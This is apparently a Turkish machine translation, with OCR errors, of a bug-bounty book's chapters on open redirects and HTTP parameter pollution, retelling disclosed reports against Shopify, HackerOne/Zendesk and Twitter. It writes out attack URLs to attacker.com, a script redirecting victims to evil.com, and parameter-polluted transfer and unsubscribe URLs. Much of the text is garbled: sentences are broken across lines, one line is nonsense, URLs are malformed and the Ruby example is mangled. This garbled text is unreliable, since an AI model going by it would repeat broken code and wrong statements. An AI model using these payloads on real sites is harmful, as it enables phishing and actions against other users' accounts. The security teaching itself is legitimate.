Sunucu tarafindan ve bu bilgileri test etme ve tanilama bilgileri i¢in kullanmak.

CONNECT yontemi aslinda bir proxy ile kullanilmak iizere ayrilmistir (proxy olan bir temelde

istekleri diger sunuculara ileten sunucu)

SECENEKLER yontem haberlesmeyi hakkinda bir sunucudan bilgi isteme kullanilir
katyon secenekleri meveuttur. Ornegin, SECENEKLER araniyor, sunucunun
GET, POST, PUT, DELETE ve SECENEKLER c¢agrilar1 kabul eder, ancak BAS veya IZLEME kabul etmez.

Simdi, internetin nasil ¢alistiginin temel bir anlayigiyla donanmis olarak,
Iginde bulunabilecek farkli giivenlik agiklari.
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4. Yonlendirme Guvenlik Aciklarin1 A¢in

Aciklama

Bir magdur belirli bir URL igin belirli bir URL’yi ziyaret ettiginde agik bir yonlendirme giivenlik a¢ig1 ortaya ¢ikar.
web sitesi ve bu web sitesi magdurun tarayicisina tamamen farkl bir ziyarette bulunma talimati verir.

URL, ayr1 bir etki alaninda. Ornegin, Google’n asagidaki URL’yi kullandigini varsayalim.

kullanicilart Gmail’e yonlendirmek igin:

https://www.google.com?redirect _to=https://www.gmail.com

Bu URLyi ziyaret eden Google, bir GET HTTP istegi alir ve redirect to 6gesini kullanir.
ziyaret¢inin tarayicisinin nereye yonlendirilecegini belirleyen parametrenin degeri. Sonra

bu sekilde, Google, kullanicinin tarayicisina talimat vererek 302 HTTP yanit1 verir
https://www.gmail.com adresine bir GET istegi yapmak i¢in , redirect to parametresinin degeri. Simdi,
orijinal URL’yi su sekilde degistirdigimizi varsayalim:

https://www.google.com?redirect_to=https://www.attacker.com

Google, redirect_to parametresinin kendi okunakli degerlerinden biri oldugunu dogrulamiyorsa
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ziyaret¢i géndermeyi amagladiklari sitelere benzemek ( 6rnegimizde https://www.gmail.com ),
bu agik bir yonlendirmeye karsi savunmasiz olabilir ve talimati veren bir HTTP yanit1 verebilir.
ziyaretginin tarayicisi https://www.attacker.com adresine GET istegi yapmak igin.

Ozel bir topluluk olan Agik Web Uygulamast Giivenligi Projesi (OWASP)

web’deki en kritik giivenlik hatalarinin bir listesini olugturan uygulama giivenligi

uygulamalar, bu giivenlik agigin1 2013"in ilk On giivenlik ac1g1 listesinde listeledi. Acik

Ornegimizde, https:/www.google.com/ adresindeki belirli bir alan adinin giivenliginden faydalanilmasini
magdurlar1 k6tii niyetli bir web sitesine ¢eker. Bu, kullanicilari kandirmak igin kimlik avi saldirilarinda kullanilabilir
inandiklarina gore, degerli olduklar1 zaman giivenilir siteye bilgi gonderiyorlar.

bilgiler aslinda kétii amacli bir siteye gidiyor. Bu ayni1 zamanda saldirganlarin dagitimini saglar

kotl amagl siteden kotii amaglh yazilim veya OAuth belirtegleri ¢almak (daha sonra ele aldigimiz bir konu)
boliim).

Bu tiir giivenlik agiklarini ararken, gonderilen bir GET istegini artyorsunuz

Test ettiginiz siteye, yonlendirilecek URL’yi belirten bir parametre ile.

Ornekler

1. Shopify Theme Install Acik Yonlendirme

Zorluk : Diisiik

Yonlendirme Giivenlik Ag¢iklarini Ag 14

URL : app.shopify.com/services/google/themes/preview/supply—blue?domain_name=XX

Rapor Baglantisi : https://hackerone.com/reports/101962:

Rapor Tarihi : 25 Kasim 2015
Odemeli Odiil : 500 Dolar
Tanim :

Ilk agik yonlendirme érnegimiz, bir e-ticaret ¢oziimii olan Shopify'da bulundu.

Bu, kullanicilarin mallari satmak i¢in bir ¢gevrimi¢i magaza kurmasini saglar. Shopify'in platformu
yoneticiler magazalarinin gériiniimlerini ve hislerini kisisellestirmek i¢in ve

Bunu yeni bir tema yiikleyerek yapabilirsiniz. Bu islevselligin bir pargasi olarak, daha 6nce Shopify
yeniden yonlendirme parametresi igeren URL'ler araciliiyla tema i¢in bir 6nizleme sagladi.
yonlendirme URL'si okunabilirlik i¢in degistirdigim asagidakine benzer:

https://app.shopify.com/themes/preview/blue?domain_name=example.com/admin

Temanin 6nizlemesini goriintiilemek i¢in URL nin bir kismi, sonunda bir domain_name parametresi igeriyordu.
yonlendirilecek baska bir URL belirtilecek URL. Shopify yonlendirme URL’sini dogrulamiyor

Bu nedenle, bir kurbani http://example.com/admin adresine yonlendirmek i¢in parametre degerinden yararlanilabilir.
Kotii niyetli bir saldirganin kullaniciy1 kimlik avi edebilecegi yer.

c¢ikarimlar

Tim giivenlik aciklart karmasik degildir. Bu agik yonlendirme, basit¢e degisen gerekli
domain_name parametresi, sonugta sonuglanacak harici bir siteye
bir site disina Shopify'dan yonlendiriliyor.

2. Shopify Giris A¢ Yonlendirme


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/101962

Zorluk : Orta

URL : http://mystore.myshopify.com/account/login
Rapor Baglantisi : https://hackerone.com/reports/103772>
Rapor Tarihi : 6 Aralik 2015

Odemeli Odiil : 500 Dolar

Tanim :

Bu acik yonlendirme, burada belirtilen ilk Shopify 6rnegine benziyor, Shopify'in parametresi
kullaniciy1 URL parametresi tarafindan belirtilen etki alanina yonlendirmiyor,
parametrenin, Shopify alt etki alaninin sonundaki degeri. Normalde bu olurdu

! https://hackerone.com/reports/101962

2 https://hackerone.com/reports/103772
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Yénlendirme Giivenlik Agiklarini Ag 15

Bir kullaniciyt belirli bir magazadaki belirli bir sayfaya yonlendirmek igin kullanilmistir. Kullanicr giris yaptiktan sonra
Shopify'da, Shopify kullaniciy1 yénlendirmek icin checkout url parametresini kullanir. Ornegin,
eger bir magdur ziyaret etmigse:

http://mystore.myshopify.com/account/login?checkout_url=.attacker.com

URL’ye yonlendirileceklerdi:

http://mystore.myshopify.com.attacker.com

aslinda bir Shopify etki alan1 degil ¢ilinkii .attacker.com'da bitiyor. DNS

aramalar bu drnekte en sagdaki etki alani etiketi olan .attacker.com adresini kullamir . Oyleyse ne zaman:

http://mystore.myshopify.com.attacker.com

DNS aramasi igin gonderildi, Shopify’a ait olmayan attacker.com’da eslesecek,
ve myshopify.com'u Shopify'in istedigi gibi degil.

Shopify magaza URL’sini birlestirdiginden, bu durumda http://mystore.myshopify.com ,
checkout_url parametresi, bir saldirgan herhangi bir yere kurban génderemez

ozgiirce. Ancak saldirgan, kullaniciy1 sagladiklari siirece baska bir etki alanina gonderebilir
yonlendirme URL’si ayni alt etki alanina sahipti.

cikarimlar

Yonlendirme parametreleri her zaman agikca etiketlenmemis olabilir, ¢linkii parametreler
siteden siteye farkli hatta bir site i¢inde bile adlandirilabilir. Bazi durumlarda sen
parametrelerin r = gibi tek karakterlerle etiketlendigini bile bulabilir veya

u =_.Ag¢ik yonlendirmeleri ararken URL parametrelerini géz oniinde bulundurun
URLleri, yonlendirme, sonraki, vb. kelimeleri igerir.

siteler kullanicilar1 yonlendirecektir.

Ayrica, sitenin dondiirdiigii son URL’nin yalnizca bir boliimiini kontrol edebiliyorsaniz,
ornegin, yalnizca checkout url parametre degerini ve parametrenin

magaza gibi sitenin arka tarafindaki kodlanmis bir URL ile birlestiriliyor

URL http://mystore.myshopify.com , nokta gibi 6zel URL karakterleri eklemeyi deneyin veya

@ URL'in anlamini degistirmek ve bir kullaniciy1 baska bir etki alanina yonlendirmek i¢in.

3. HackerOne Interstitial Redirect


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/103772
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/101962
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/103772
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Zorluk : Orta
URL : Yok

Rapor Baglantisi : https://hackerone.com/reports/1119683
Rapor Tarihi : 20 Ocak 2016

3 https://hackerone.com/reports/111968

Yonlendirme Giivenlik Agiklarini Ag

Odemeli Odiil : 500 Dolar
Tanmm :

Gegis reklami web sayfasi, beklenen igerikten 6nce gosterilen sayfadir. Birini kullanmak bir

Herhangi bir zamandan beri agik yonlendirme agiklarma kars1 korunmak i¢in yaygin bir yontem

Bir kullaniciy1 bir URL’ye yonlendirirken, bir gecis reklami web sayfasini mesajla birlikte gosterebilirsiniz.
Kullaniciya bulunduklari alandan ¢iktiklarini agiklamak. Bu sekilde, eger yonlendirme

sayfa sahte giris yaptigin1 gosteriyor veya giivenilir etki alan1 gibi davranmaya calistyor, kullanict bilecek
yonlendirilmeleri. HackerOne'un takip ettigi zaman bu yaklasim

Ornegin, gonderilen raporlardaki baglantilar1 takip ederken sitelerinin disindaki URL’lerin ¢ogu. olmasina ragmen
gecis reklami web sayfalari, giivenlik agiklarmi ve bu yoldaki komplikasyonlart 6nlemek i¢in kullanilir.

siteler birbirleriyle etkilesime girmeye devam ederse, yine de baglantilarin bozulmasina neden olabilir.

HackerOne, miisteri hizmetleri destek biletleme sistemi olan Zendesk'i desteklemesi i¢in kullantyor

alt alan. Hackerone.com / zendesk _session tarafindan takip edildiginde kullanicilar

Gegis yapmadan HackerOne platformundan HackerOne Zendesk platformuna liderlik

sayfa HackerOne, hackerone.com'u iceren URL'lere giivendi. Bunlara ek olarak,

Zendesk, kullanicilarin / redi- parametresi araciligiyla diger Zendesk hesaplarina yonlendirmelerine izin verdi

rect_to_account? state = geg¢is reklami olmadan.

Bu yiizden, bu raporla ilgili olarak, Mahmoud Jamal Zendesk'te bir hesap olusturdu.

Alt etki alani, http://compayn.zendesk.com ve asagidaki Javascript kodunu

yoneticilerin kisisellestirmelerini saglayan Zendesk tema diizenleyicisine sahip bir {istbilgi dosyas1
Zendesk sitesinin bakisi ve hissi:

<script> document.location.href = "http://evil.com"; </script>

Burada, Mahmoud, tarayiciya http://evil.com adresini ziyaret etmesini bildirmek i¢in JavaScript kullaniyor . Siire
JavaScript 6zelliklerine dalmak, bu kitabin kapsami digindadir, <script> etiketi

HTML ve belgede kod belirtmek i¢in kullanilan tiim HTML belgesine atifta bulunur

web sayfasinin bilgileri olan Zendesk tarafindan iade ediliyor. Noktalar ve

dokiimani takip eden isimler 6zellikleridir. Miilkiyet bilgi ve degerleri tutar

ya Ozellikleri olduklar1 nesnenin tanimlayicilar1 ya da manipiile edilebilecekleri

nesnesini degistirmek i¢in. Boylece location 6zelligi web sayfasini kontrol etmek i¢in kullanilabilir
tarayiciniz ve href alt 6zelligi (konumun 6zelligi olan)

tarayiciy1 tanimlanmig web sitesine yonlendirir. Dolayisiyla, asagidaki baglantiy1 ziyaret etmek yonlendirir
kurbanin tarayicisinin ¢aligmasini saglayacak olan Mahmoud Zendesk alt etki alanina kurbanlar
Mahmoud’n betigini ve http:/evil.com adresine yonlendirin (not, URL i¢in diizenlenmistir.

okunabilirligi):

https://hackerone.com/zendesk _session?return_to=https://support.hackerone.com/ping/redirect?state=compayn:/

Baglant1 hackerone.com alanini igerdiginden, gegis reklami web sayfasi gériinmiiyor
Oynatild1 ve kullanici ziyaret ettikleri sayfanin glivenli olmadigini bilmiyor. Simdi, ilging bir sekilde,
Mahmud aslen bu yonlendirme konusunu Zendesk'e bildirdi, ancak bu ihmal edildi.

bir giivenlik a¢181 olarak isaretlenmemis. Dogal olarak, nasil olabilecegini gérmek i¢in kazmaya devam etti.
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sOmiiriilen.

Yonlendirme Giivenlik Agiklarini Ag 17

cikarimlar

Giivenlik agiklarini ararken, bir sitenin kullandig1 hizmetleri dikkate alin

her biri yeni saldir1 vektorlerini temsil eder. Iste bu giivenlik ag131 miimkiin oldu
HackerOne'un Zendesk kullanimini ve bilinen yonlendirmeyi birlestirerek

izin.

Ek olarak, hatalar1 buldugunuzda, giivenlik uygulamasinin gerceklestigi zamanlar da olacaktir.
Sizin i¢in okuyan ve cevaplayan kisi tarafindan kolayca anlasilmaz.

bildiri. Bu nedenle, Giivenlik A¢131 Raporlart ile ilgili ayrintilar igeren bir bolimiim var.

Bir rapora dahil etmek, sirketler ile iliskilerin nasil kurulacagini ve diger

bilgi. Onceden kiigiik bir is yaparsamz ve giivenligi saygiyla agiklarsaniz

Raporunuzdaki ¢ikarimlar, daha yumusak bir ¢6zlim saglanmasina yardimei olacaktir.

Ancak, bu bile olsa, sirketlerin sizinle aymi fikirde olmadig1 zamanlar olacak.
Eger durum buysa, Mahmoud’in yaptig1 gibi kazmaya devam edin ve
etkinligi gostermek i¢in onu bagka bir giivenlik agig1 ile somiiriin veya birlestirin.

ozet

Acik yonlendirmeler, kotii niyetli bir saldirganin insanlar1 bilmeden kétii niyetli bir kisiye yonlendirmesini saglar
Internet sitesi. Onlar1 bulmak, bu &rneklerin gosterdigi gibi, siklikla keskin gozlem gerektirir.

Yonlendirme parametreleri bazen redirect to =, domain_- gibi isimlerle kolayca anlagilabilir

name =, checkout url =, vb. Oysa diger zamanlarda daha az belirgin olabilirler

r =, u = ve benzeri isimler.

Bu tiir bir giivenlik a¢1g1, magdurlarin ziyaret etmeleri i¢in kandirildiklar1 bir giiven kétilye kullanimina dayaniyor
Bir saldirganin sitesi, tanidiklart bir siteyi ziyaret edeceklerini diisiiniiyor. Muhtemel tespit ettiginizde
hassas parametreler, bunlar iyice test ettiginizden ve 6zel karakterler eklediginizden emin olun,

URL’nin bir kism1 sabit kodlanmigsa, bir donem gibi.

Ek olarak, HackerOne gecis reklami yonlendirmesi, mesajlarin taninmasinin 6nemini gosterir.
giivenlik agiklarini ve ne kadar zaman zaman avlanirken web siteleri ve araglar kullantyor
taninmadan Once 1srarc1 olmaniz ve bir giivenlik agig1 oldugunu agik¢a gdstermeniz gerekir.
ve 6diil igin kabul edildi.
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5. HTTP Parametre Kirliligi

Aciklama

HTTP Parameter Kirliligi veya HPP, bir web sitesinin param davranigini nasil degistirdigini belirtir.

HTTP istekleri sirasinda aldigi gibi. Glivenlik ag1g1, parametreler oldugunda ortaya gikar

Giivenlik a¢1g1 bulunan web sitesi tarafindan enjekte edilir ve giivenilmez, beklenmedik davraniglara yol agar. Bu
arka tarafta, sunucu tarafinda, sitenin sunucularini ziyaret ettiginiz yerde olabilir.

bilgileri sizin i¢in veya miisteri tarafinda goriinmeyen bilgileri gorebilir;

genellikle tarayiciniz olan istemcinizde

Sunucu Tarafi HPP

Bir web sitesine talepte bulundugunuzda, sitenin sunuculari istegi isler ve geri doner.

Boliim 1'de ele aldigimiz gibi bir cevap. Bazi durumlarda, sunucular sadece geri donmeyeceklerdir.
Bir web sayfasi, ancak ayn1 zamanda aracilifiyla verilen bilgilere dayanarak bazi kodlar ¢alistiracaktir.
URL gonderildi. Bu kod yalnizca sunucularda ¢aligir, bu yiizden aslinda sizin igin goriinmez -
gonderdiginiz bilgileri ve geri aldigimiz sonuglari, ancak

arasinda bir kara kutu var. Sunucu tarafi HPP'de, sunuculara beklenmeyen bilgileri génderiyorsunuz
Sunucu tarafi kodunu yapma girisiminde beklenmedik sonuglar dondiiriiliiyor. Ciinkii yapamazsin
Sunucu kodunun nasil ¢alistigint gérmek i¢in sunucu tarafindaki HPP size

potansiyel olarak savunmasiz parametreler ve bunlarla deneme.

Bankaniz kendi hesabiniza havale yapmaya basladi§inda, sunucu tarafinda bir HPP 6rnegi olabilir.
URL parametrelerini kabul ederek sunucularinda islenen web sitesi. Sen soyle

Ug URL parametresindeki degetleri, ila arasinda ve tutarinda degetleri doldurarak para aktarabilir,
Para transfer edilecek hesap numarasini, transfer edilecek hesabi belirleyecektir.

ve bu sirayla aktarilacak tutar. Aktarilan bu parametrelere sahip bir URL

12345 hesap numarasindan 67890 hesap numarasina 5.000 ABD dolar1 §oyle goriinebilir:

https://www.bank.com/transfer?from=12345&to=67890&amount=5000

Banka sadece bir tane alacag1 varsayimini yapabilir.

parametresinden Ancak, iki tane gonderirseniz, asagidaki gibi olur:

https://www.bank.com/transfer?from=12345&t0=67890&amount=5000& from=ABCDEF

Bu URL baslangicta ilk 6rnegimizle ayni sekilde yapilandirilmis, ancak

ABCDEF gonderen baska bir hesap belirten parametre. Tahmin edebileceginiz gibi
uygulama HPP'ye agiksa, saldirgan bir aktarim gergeklestirebilir

bankanin aldig1 parametreden en son giivendigi takdirde sahip olmadiklar: bir hesaptan.

HTTP Parametre Kirliligi

Sunucu tarafi kodu hesap 12345°ten 67890°a 5.000 ABD dolar1 aktarmak yerine
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ikinci parametreyi kullanin ve ABCDEF hesabindan 67890’a para gonderin.

Hem HPP sunucu tarafi hem de istemci tarafi giivenlik agiklari, sunucunun nasil davrandigma baglidir
Ayni1 ada sahip birden fazla parametre alirken. Ornegin, PHP / Apache

Son olugumu kullanin, Apache Tomcat ilk olusumu, ASP / IIS hepsini kullanin.

olaylar, vb. Sonug olarak, kullanim i¢in tek bir garantili islem yoktur.

Ayni isimde birden fazla parametre teslimi ve HPP’nin bulunmasi bazi

test ettiginiz sitenin nasil ¢alistigini dogrulamak i¢in deneme.

Simdiye kadarki 6rnegimizde agik olan parametreler kullanilirken, bazen HPP agik

baglar, dogrudan goriilemeyen koddaki gizli, sunucu tarafi davranisinin bir sonucu olarak ortaya ¢ikar.
sen. Ornegin, diyelim ki bankamiz transfer islemlerini revize etmeye karar verdi

ve arka u¢ kodunu URL’de bir from parametresini igermeyecek sekilde degistirdi, ancak

Icinde birden ¢ok deger tutan bir dizi alin.

Bu kez, bankamiz hesabin havale yapmasi i¢in iki parametre alacaktir.
aktarilacak tutar. Aktarilacak hesap sadece verilecek. Ornek bir link
asagidaki gibi goriinebilir:

https://www.bank.com/transfer?to=67890&amount=5000

Normalde sunucu tarafi kodu bizim i¢in bir gizem olur, ama neyse ki onlarin hepsini ¢aldik
kaynak kodu ve biliyorum ki (bu 6rnek ugruna agik¢a korkung) sunucu-
side Ruby kodu soyle goriiniir:

user.account = 12345

def prepare_transfer (params)
params << user.account
transfer money (params) # user.account (12345) params olur [2]

son

def transfer money (params)
= params [0]
miktar = param [1]
= params [2] den
Transfer (, bu miktar, dan)

son

Bu kod iki islev yaratir: prepare_transfer ve transfer money. Hazirla
Transfer fonksiyonu bir dizi ad1 alir params ihtiva etmek ve miktar:
URL’den parametreler. Dizi, dizi degerlerinin oldugu [67890,5000] olacaktir.
parantez arasinda sikistirilmig ve her deger bir virgiil ile ayrilmistir. ilk satir

islev, daha 6nce kodda tanimlanmis olan kullanici hesabi bilgilerini

HTTP Parametre Kirliligi

dizinin sonuna, yani [67890,5000,12345] dizisine paramitlerle ve sonra

params transfer_money gegirilir.

Parametrelerin aksine, Ruby dizilerinin kendi adlariyla iligkilendirilmis adlari olmadigini fark edeceksiniz.

bu nedenle kod, her zaman sirayla her bir degeri igeren diziye baglidir.

aktarilacak hesabin ilk oldugu yerde, aktarilacak tutar sonraki siradadir ve hesap

diger iki degeri takip etmek i¢in. Transfer money'de, bu,

islev her dizi degerini bir degiskene atar. Dizi konumlari baslangigta numaralandirilmig

20



Sayfa 33

Bl e apgraenlatdObtieid i B rapmdr b S RN SISHe atanir
sonraki iki satirda ve sonra degisken isimleri transfer fonksiyonuna gegirilir,
bu kod snippet'inde gosterilmez, ancak degerleri alir ve gergekte

para.

Ideal olarak, URL parametreleri her zaman kodun bekledigi sekilde bigimlendirilir.
Bununla birlikte, saldirgan ileterek bu mantik sonucunu degistirebilir gelen degeri
paragraflara, asagidaki URL'de oldugu gibi:

https://www.bank.com/transfer?to=67890&amount=5000& from=ABCDEF

Bu durumda, from parametresi ayrica kendisine gonderilen params dizisine de dahil edilir.
prepare_transfer islevi, dizilerin degerleri [67890,5000, ABCDEF] ve

kullanict hesabinin eklenmesi aslinda [67890,5000, ABCDEF, 12345] ile sonuglanabilir. Sonug olarak,
prepare_transfer i¢inde ¢agrilan transfer money islevinde, from degisken

12345 user.account degerini beklemek i¢in {igiincii parametreyi alin, ancak gergekte

saldirganin gectigi ABCDEF degerine atifta bulun.

istemci Tarafi HPP

Ote yandan, HPP istemci tarafi giivenlik aciklari, parametreleri enjekte etme yetenegini igerir

daha sonra sayfaya geri kullaniciya yansiyan bir URL'ye.

Bu giivenlik a¢igindan bahseden iki arastirmaci Luca Carettoni ve Stefano di Paola
2009'da yazin, bu davranigin bir 6rnegini kullanarak sunumlarina

teorik URL http: //host/page.php? par = 123% 26action = diizenle ve sonraki sunucu tarafi
kod:

<? § val = htmlspecialchars ($ _GET [ 'par' ], ENT_QUOTES); 7>

S]

<a href="/page.php?action=view&par='". <? = $val 7> . " > Beni Goriin ! </a>

Burada, kod kullanicinin girdigi URL'yi temel alan yeni bir URL olusturur. Olusturulan URL
ikincisi belirlenen bir islem parametresi ve bir par parametresi igerir
kullanicinin URL’sine gore. Teorik URL’de, saldirgan 123% 26action = degistir

URL’deki par i¢in deger olarak . % 26, & i¢in URL kodlu degerdir, yani
URL ayristirildiginda,% 26, & olarak yorumlanir. Bu ek bir parametre ekler

HTTP Parametre Kirliligi

Acik bir islem parametresi eklemeden olusturulan href baglantisina . Kullanmislar m1

123 & action = edit, bunun yerine iki ayr1 parametre olarak yorumlanirdi.

boylece par 123 esit olur ve parametre eylem diizenlemeyi esit olacaktir. Ancak siteden beri
sadece yeni URL'yi olusturmak i¢in kodundaki par parametresini artyor ve kullantyor
eylem parametresi birakilir. Bu sorunu ¢6zmek i¢in% 26 kullanilir.

bu islem baslangigta ayr1 bir parametre olarak taninmaz, bu nedenle par'in degeri

% 123 26action = diizenlemek.

Simdi, par (kodlanmis ve% 26 gibi) htmlspecialchars islevine gegirilir.

Bu islev,% 26 gibi 6zel karakterleri HTML kodlanmig degerlerine doniistiiriir
sonuglanan% 26 ise &. Doniistiiriilen deger daha sonra § val'a kaydedilir. O zaman yeni
link, adresindeki href degerine $ val ekleyerek olusturulur. Béylece olusturulan link olur:

<a href="/page.php?action=view&par=123&action=edit">

Bunu yaparken, saldirgan ek eylemi eklemeyi basard1 = href URL'sine diizenle
bu, sunucunun iki alictyt alma bigimine bagli olarak bir giivenlik agigina neden olabilir
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islem parametreleri
Ornekler

1. HackerOne Sosyal Paylasim Diigmeleri

Zorluk : Diisiik

URL : https://hackerone.com/blog/introducing-signal-and-impact
Rapor Baglantisi : https://hackerone.com/reports/105953:
Rapor Tarihi : 18 Aralik 2015

Odemeli Odiil : 500 Dolar

Tanim :

HackerOne blog gonderileri, icerigi gibi popiiler sosyal medya sitelerinde igerik paylagmak i¢in baglantilar igerir
Twitter, Facebook vb. Bu baglantilar kullanicinin génderecegi igerik olusturur

Ozgiin blog gonderisine geri baglanan sosyal medya. Gonderileri olusturma baglantilary

baska bir kullanic1 paylasilan yayini tiklattiginda blog yaymma yonlendiren parametreler.

Bir bilgisayar korsaninin basgka bir URL parametresinde yapabilecegi bir giivenlik ag1g1 kesfedildi
paylasilan sosyal medya baglantisina yansitilacak olan bir blog génderisini ziyaret ederken,
Boylece, paylasilan gonderiyi, amaglanan blogdan baska bir yere baglayarak sonuglandi.
Giivenlik ag1g1 raporunda kullanilan 6rnek, URL’yi ziyaret etmeyi igeriyordu:

https://hackerone.com/blog/introducing-signal

! hitps://hackerone.com/reports/105953

HTTP Parametre Kirliligi 22

ve sonra ekleme
& U = https: //vk.com/durov

Bunun sonuna kadar. Blog sayfasinda, Facebook'ta paylasilacak bir baglantinin ne zaman olusturuldugu
HackerOne baglanti olur:

https://www.facebook.com/sharer.php?u=https://hackerone.com/blog/introducing-signal ?&u=https://vk.com/durov

Ko&tii niyetli olarak giincellenen bu baglant, igerigi paylagsmaya ¢alisan HackerOne ziyaretgileri tarafindan tiklandiysa
Sosyal medya baglantilar1 araciligiyla, son u parametresine dncelik sirasina gore 6ncelik verilecektir.

once ve sonra Facebook gonderisinde kullanilir. Bu Facebook kullanicilarina yol agacaktir

baglantiy1 tiklatarak ve HackerOne yerine https://vk.com/durov adresine yonlendirilir.

Ek olarak, Twitter’a gonderilirken, HackerOne’da varsayilan Tweet metni
yaziy1 tanitirdi. Bu , url’ye & text = eklenerek de degistirilebilir:

https://hackerone.com/blog/introducing-signal?&u=https://vk.com/durov&text=another_site:https://vk.com/durov

Bir kullanici bu baglantiy: tiklandiginda sonra, metin vardi bir Tweet pop-up alacagi another_-
site: HackerOne blogunu tanitan metin yerine https://vk.com/durov .
cikarimlar

Web siteleri igerik kabul ettiginde ve goriindiigiinde firsatlara dikkat edin

sosyal medya siteleri gibi baska bir web servisiyle iletisim kurmak ve


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/105953
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/105953
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Paylasilan bir gonderi olusturmak i¢in baglantiy1 olusturmak igin gecerli URL.
Bu gibi durumlarda, gonderilen igerigin aktarilmas1 miimkiin olabilir

parametreye yol acabilecek uygun giivenlik kontrolleri yapilmadan agik
kirlilik agiklar1.

2. Twitter Abonelikten Cikma Bildirimleri

Zorluk : Diisiik

URL : twitter.com

Rapor Tarihi : 23 Agustos 2015
Odemeli Odiil : 700 $

Tamim :

Agustos 2015°te, hacker Mert Tasc1 aboneliginden ¢ikarken ilging bir URL gordii.

Twitter bildirimleri almak:

2 http://blog.mert.ninja/blog/twitter-hpp-vulnerability,
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https://twitter.com/i/u?iid=F6542&uid=1134885524&nid=22+26

(Bunu kitap i¢in biraz kisalttim). UID parametresini fark ettiniz mi? Bu olur

Twitter hesabinizin kullanicr kimligi olmak i¢in. Farkindayim ki, cogumuzun iistesinden geldigimi yapti.
Hacker'lar yapar, UID'yi baska bir kullanicininkine degistirmeye ¢ahsirdu .

Twitter bir hata dondiirdii.

Baskalarinin vazgectigi yerde devam etmeye kararli olan Mert, bir saniye daha eklemeye ¢alistt
UID parametresi boylece URL'ye benziyordu (yine bunu kisalttim):

https:/twitter.com/i/u?iid=F6542&uid=2321301342&uid=1134885524&nid=22+26

Ve BASARI! Bagka bir kullanicinin e-posta bildirimlerinden aboneligini kaldirmay1 basardi.
Goriinlige gore Twitter, HPP aboneligi iptal eden kullanicilara karst savunmasizdi.

cikarimlar

Kisa bir agiklama olsa da, Mert'in ¢abalari

sistence ve bilgi. Daha sonra giivenlik a¢igindan kurtulmus olsaydi

Degisen UID Bagka bir kullanicinin ve basarisiz ya da o hakkinda bilmek olmasaydi HPP-
giivenlik agiklarini yazin, 700 dolarlik 6diiliini almazdi.

Ayrica, HTTP isteklerine dahil edilen UID gibi parametrelere dikkat edin
birgok giivenlik ag131 web yapmak i¢in parametre degerlerini degistirmeyi igerir

beklenmedik seyler yapan uygulamalar.

3. Twitter Web Amaclari

Zorluk : Diisiik

URL : twitter.com


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://blog.mert.ninja/blog/twitter-hpp-vulnerability
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://blog.mert.ninja/blog/twitter-hpp-vulnerability

Sayfa 36

Rapor Baglantis1 : Twitter Web Parametre Kurcalama Saldirisi 3
Rapor Tarihi : Kasim 2015

Odemeli Odiil : Agiklanmad:

Tamm :

Twitter Web Intents, Twitter kullanicisinin tweet'leriyle ¢alismak igin pop-up akislar saglar, cevaplar,

twitter olmayan siteler baglaminda retweet, begenme ve takip etme. Miimkiin kilar

Kullanicilar sayfadan ayrilmadan veya bir yetkilendirmeye gerek duymadan Twitter igerigi ile etkilesime girme
sadece etkilesim igin yeni bir uygulama. Iste bu pop-up'lardan birinin gériiniisiine bir 6rnek

sevmek:

HTTP Parametre Kirliligi

Twitter Niyeti

Bunu test eden hacker Eric Rafaloff, bir kullaniciy1 takip eden dort niyet tiiriiniin hepsinin,
bir tweet sevme, retweetleme ve tweetleme, HPP'ye agikti. Twitter yaratir
GET istegi yoluyla agagidaki gibi URL parametreleri i¢eren her bir niyet:

24
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https:/twitter.com/intent/intent Type?paramter_name=paramter Value

Bu URL, intentType ve bir veya daha fazla parametre adi/ deger ¢ifti igerir.
Ornegin bir Twitter kullanici ad1 ve Tweet kimligi. Twitter bu parametreleri olusturmak i¢in kullanir

pop-up kullanicinin takip etmesini ya da begenilmesini tweetlemek igin gosterme niyeti. Eric yarattigini buldu.

Beklenen yerine, takip amac1 i¢in iki screen_name parametresi olan bir URL
tekil ekran_ad1 , s6yle:

HTTP Parametre Kirliligi

https://twitter.com/intent/follow?screen_name=twitter&screen_name=ericrtest3

Twitter ikinci screen_name'den oncelik vererek istegi yerine getirir

Bir takip diigmesi olustururken ilk twitter degerinin iizerindeki ericrtest3 degerini, boylece kullanici
Twitter 1 resmi hesabini takip etmeye ¢alismak Eric’in

Test hesabi Eric tarafindan olusturulan URL’yi ziyaret etmek asagidaki HTML formuyla sonuglanir

Twitter'm arka kodunda iki screen_name parametresiyle olusturuluyor:

<form class = "follow" id = "follow_btn_form" eylem ="/ intent / follow? screen_name = eri \
crtest3 " method =" post " >

<input type = "hidden" name = "authenticity token" value ="..." >

<input type = "hidden" name = "ekran_ad1" value = "twitter" >

<input type = "hidden" name = "profile id" value = "783214" >

<button class = "button" type = "Gonder" >

<b></b> <strong> Takip Et </strong>
</ Diigmesi>

</ Form>

Twitter bilgileri ilk screen_name parametresinden alir;

resmi Twitter hesabu ile iligkilendirilir, bdylece bir magdur dogru profili goriir.

URL'nin ilk screen_name parametresi URL oldugundan, izlemeyi diisiindiigii kullanicinin
iki giris degerini doldurmak i¢in kullanilir. Ancak, diigmeyi tiklattiktan sonra takip ederler
ericrtest3 ¢iinkil form etiketindeki eylem bunun yerine ikinci screen_name 6gesini kullanir.
parametresinin form etiketinin islem paragrafindaki degeri, orijinal URL’ye iletildi:

https://twitter.com/intent/follow?screen_name=twitter&screen_name=ericrtest3

Benzer sekilde, begenilmek i¢in niyetler sunarken, Eric bir ekran_adi igerebilecegini buldu.
Tweet'in begenilmemesiyle ilgisi olmasa da parametre. Ornegin, yaratabilirdi
URL:

https://twitter.com/intent/like?tweet id=6616252302978211845&screen_name=ericrtest3

Normal bir benzer niyet sadece tweet_id parametresine ihtiya¢ duyardi, ancak Eric enjekte etti.
